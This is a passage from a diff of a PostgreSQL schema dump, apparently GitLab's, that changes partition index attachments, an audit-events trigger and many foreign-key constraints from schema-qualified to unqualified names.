+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_24_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_05_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_25_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_06_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_26_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_07_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_27_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_08_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_28_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_09_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_29_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_10_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_30_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_11_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_31_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_12_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_32_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_13_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_33_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_14_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_34_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_15_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_35_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_16_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_36_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_17_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_37_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_18_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_38_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_19_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_39_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_20_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_40_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_21_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_41_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_22_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_42_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_23_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_43_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_24_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_44_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_25_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_45_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_26_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_46_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_27_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_47_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_28_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_48_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_29_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_49_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_30_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_50_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_31_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_51_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_32_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_52_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_33_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_53_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_34_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_54_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_35_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_55_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_36_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_56_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_37_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_57_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_38_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_58_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_39_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_59_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_40_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_60_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_41_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_61_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_42_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_62_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_43_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_63_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_44_pkey;
+CREATE TRIGGER table_sync_trigger_ee39a25f9d AFTER INSERT OR DELETE OR UPDATE ON audit_events FOR EACH ROW EXECUTE PROCEDURE table_sync_function_2be879775d();
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_45_pkey;
+ALTER TABLE ONLY chat_names
+ ADD CONSTRAINT fk_00797a2bf9 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_46_pkey;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_013c9f36ca FOREIGN KEY (due_date_sourcing_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_47_pkey;
+ALTER TABLE ONLY clusters_applications_runners
+ ADD CONSTRAINT fk_02de2ded36 FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_48_pkey;
+ALTER TABLE ONLY design_management_designs_versions
+ ADD CONSTRAINT fk_03c671965c FOREIGN KEY (design_id) REFERENCES design_management_designs(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_49_pkey;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_05f1e72feb FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_50_pkey;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_06067f5644 FOREIGN KEY (latest_merge_request_diff_id) REFERENCES merge_request_diffs(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_51_pkey;
+ALTER TABLE ONLY user_interacted_projects
+ ADD CONSTRAINT fk_0894651f08 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_52_pkey;
+ALTER TABLE ONLY dast_sites
+ ADD CONSTRAINT fk_0a57f2271b FOREIGN KEY (dast_site_validation_id) REFERENCES dast_site_validations(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_53_pkey;
+ALTER TABLE ONLY web_hooks
+ ADD CONSTRAINT fk_0c8ca6d9d1 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_54_pkey;
+ALTER TABLE ONLY notification_settings
+ ADD CONSTRAINT fk_0c95e91db7 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_55_pkey;
+ALTER TABLE ONLY lists
+ ADD CONSTRAINT fk_0d3f677137 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_56_pkey;
+ALTER TABLE ONLY group_deletion_schedules
+ ADD CONSTRAINT fk_11e3ebfcdd FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_57_pkey;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_1302949740 FOREIGN KEY (last_edited_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_58_pkey;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_131d289c65 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_59_pkey;
+ALTER TABLE ONLY protected_branch_push_access_levels
+ ADD CONSTRAINT fk_15d2a7a4ae FOREIGN KEY (deploy_key_id) REFERENCES keys(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_60_pkey;
+ALTER TABLE ONLY internal_ids
+ ADD CONSTRAINT fk_162941d509 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_61_pkey;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_176d3fbb5d FOREIGN KEY (job_artifact_deleted_event_id) REFERENCES geo_job_artifact_deleted_events(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_62_pkey;
+ALTER TABLE ONLY project_features
+ ADD CONSTRAINT fk_18513d9b92 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_63_pkey;
+ALTER TABLE ONLY ci_pipelines
+ ADD CONSTRAINT fk_190998ef09 FOREIGN KEY (external_pull_request_id) REFERENCES external_pull_requests(id) ON DELETE SET NULL;
-CREATE TRIGGER table_sync_trigger_ee39a25f9d AFTER INSERT OR DELETE OR UPDATE ON public.audit_events FOR EACH ROW EXECUTE PROCEDURE public.table_sync_function_2be879775d();
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_1d37cddf91 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.chat_names
- ADD CONSTRAINT fk_00797a2bf9 FOREIGN KEY (service_id) REFERENCES public.services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_sources_pipelines
+ ADD CONSTRAINT fk_1e53c97c0a FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_013c9f36ca FOREIGN KEY (due_date_sourcing_epic_id) REFERENCES public.epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY boards
+ ADD CONSTRAINT fk_1e9a074a35 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_runners
- ADD CONSTRAINT fk_02de2ded36 FOREIGN KEY (runner_id) REFERENCES public.ci_runners(id) ON DELETE SET NULL;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_1fbed67632 FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.design_management_designs_versions
- ADD CONSTRAINT fk_03c671965c FOREIGN KEY (design_id) REFERENCES public.design_management_designs(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_container_repository_updated_events
+ ADD CONSTRAINT fk_212c89c706 FOREIGN KEY (container_repository_id) REFERENCES container_repositories(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_05f1e72feb FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY users_star_projects
+ ADD CONSTRAINT fk_22cd27ddfc FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_06067f5644 FOREIGN KEY (latest_merge_request_diff_id) REFERENCES public.merge_request_diffs(id) ON DELETE SET NULL;
+ALTER TABLE ONLY alert_management_alerts
+ ADD CONSTRAINT fk_2358b75436 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.user_interacted_projects
- ADD CONSTRAINT fk_0894651f08 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_stages
+ ADD CONSTRAINT fk_2360681d1d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.web_hooks
- ADD CONSTRAINT fk_0c8ca6d9d1 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY import_failures
+ ADD CONSTRAINT fk_24b824da43 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.notification_settings
- ADD CONSTRAINT fk_0c95e91db7 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_ci_cd_settings
+ ADD CONSTRAINT fk_24c15d2f2e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.lists
- ADD CONSTRAINT fk_0d3f677137 FOREIGN KEY (board_id) REFERENCES public.boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_25b99c1be3 FOREIGN KEY (parent_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_deletion_schedules
- ADD CONSTRAINT fk_11e3ebfcdd FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY projects
+ ADD CONSTRAINT fk_25d8780d11 FOREIGN KEY (marked_for_deletion_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_1302949740 FOREIGN KEY (last_edited_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_pipelines
+ ADD CONSTRAINT fk_262d4c2d19 FOREIGN KEY (auto_canceled_by_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_131d289c65 FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_build_trace_sections
+ ADD CONSTRAINT fk_264e112c66 FOREIGN KEY (section_name_id) REFERENCES ci_build_trace_section_names(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_push_access_levels
- ADD CONSTRAINT fk_15d2a7a4ae FOREIGN KEY (deploy_key_id) REFERENCES public.keys(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_27548c6db3 FOREIGN KEY (hashed_storage_migrated_event_id) REFERENCES geo_hashed_storage_migrated_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.internal_ids
- ADD CONSTRAINT fk_162941d509 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployments
+ ADD CONSTRAINT fk_289bba3222 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_176d3fbb5d FOREIGN KEY (job_artifact_deleted_event_id) REFERENCES public.geo_job_artifact_deleted_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY notes
+ ADD CONSTRAINT fk_2e82291620 FOREIGN KEY (review_id) REFERENCES reviews(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.project_features
- ADD CONSTRAINT fk_18513d9b92 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY members
+ ADD CONSTRAINT fk_2e88fb7ce9 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipelines
- ADD CONSTRAINT fk_190998ef09 FOREIGN KEY (external_pull_request_id) REFERENCES public.external_pull_requests(id) ON DELETE SET NULL;
+ALTER TABLE ONLY approvals
+ ADD CONSTRAINT fk_310d714958 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_1d37cddf91 FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY namespaces
+ ADD CONSTRAINT fk_319256d87a FOREIGN KEY (file_template_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_sources_pipelines
- ADD CONSTRAINT fk_1e53c97c0a FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_3308fe130c FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.boards
- ADD CONSTRAINT fk_1e9a074a35 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_group_variables
+ ADD CONSTRAINT fk_33ae4d58d8 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_1fbed67632 FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY namespaces
+ ADD CONSTRAINT fk_3448c97865 FOREIGN KEY (push_rule_id) REFERENCES push_rules(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.geo_container_repository_updated_events
- ADD CONSTRAINT fk_212c89c706 FOREIGN KEY (container_repository_id) REFERENCES public.container_repositories(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_3654b61b03 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users_star_projects
- ADD CONSTRAINT fk_22cd27ddfc FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY push_event_payloads
+ ADD CONSTRAINT fk_36c74129da FOREIGN KEY (event_id) REFERENCES events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alerts
- ADD CONSTRAINT fk_2358b75436 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_builds
+ ADD CONSTRAINT fk_3a9eaa254d FOREIGN KEY (stage_id) REFERENCES ci_stages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_stages
- ADD CONSTRAINT fk_2360681d1d FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_3b8c72ea56 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.import_failures
- ADD CONSTRAINT fk_24b824da43 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_3c1fd1cccc FOREIGN KEY (due_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.project_ci_cd_settings
- ADD CONSTRAINT fk_24c15d2f2e FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipelines
+ ADD CONSTRAINT fk_3d34ab2e06 FOREIGN KEY (pipeline_schedule_id) REFERENCES ci_pipeline_schedules(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_25b99c1be3 FOREIGN KEY (parent_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_schedule_variables
+ ADD CONSTRAINT fk_41c35fda51 FOREIGN KEY (pipeline_schedule_id) REFERENCES ci_pipeline_schedules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.projects
- ADD CONSTRAINT fk_25d8780d11 FOREIGN KEY (marked_for_deletion_by_user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_42c3b54bed FOREIGN KEY (cache_invalidation_event_id) REFERENCES geo_cache_invalidation_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipelines
- ADD CONSTRAINT fk_262d4c2d19 FOREIGN KEY (auto_canceled_by_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY remote_mirrors
+ ADD CONSTRAINT fk_43a9aa4ca8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_build_trace_sections
- ADD CONSTRAINT fk_264e112c66 FOREIGN KEY (section_name_id) REFERENCES public.ci_build_trace_section_names(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_runner_projects
+ ADD CONSTRAINT fk_4478a6f1e4 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_27548c6db3 FOREIGN KEY (hashed_storage_migrated_event_id) REFERENCES public.geo_hashed_storage_migrated_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY todos
+ ADD CONSTRAINT fk_45054f9c45 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployments
- ADD CONSTRAINT fk_289bba3222 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE SET NULL;
+ALTER TABLE ONLY releases
+ ADD CONSTRAINT fk_47fe2a0596 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.notes
- ADD CONSTRAINT fk_2e82291620 FOREIGN KEY (review_id) REFERENCES public.reviews(id) ON DELETE SET NULL;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_4a99ebfd60 FOREIGN KEY (repositories_changed_event_id) REFERENCES geo_repositories_changed_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.members
- ADD CONSTRAINT fk_2e88fb7ce9 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_trace_sections
+ ADD CONSTRAINT fk_4ebe41f502 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approvals
- ADD CONSTRAINT fk_310d714958 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alert_management_alerts
+ ADD CONSTRAINT fk_51ab4b6089 FOREIGN KEY (prometheus_alert_id) REFERENCES prometheus_alerts(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespaces
- ADD CONSTRAINT fk_319256d87a FOREIGN KEY (file_template_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY path_locks
+ ADD CONSTRAINT fk_5265c98f24 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
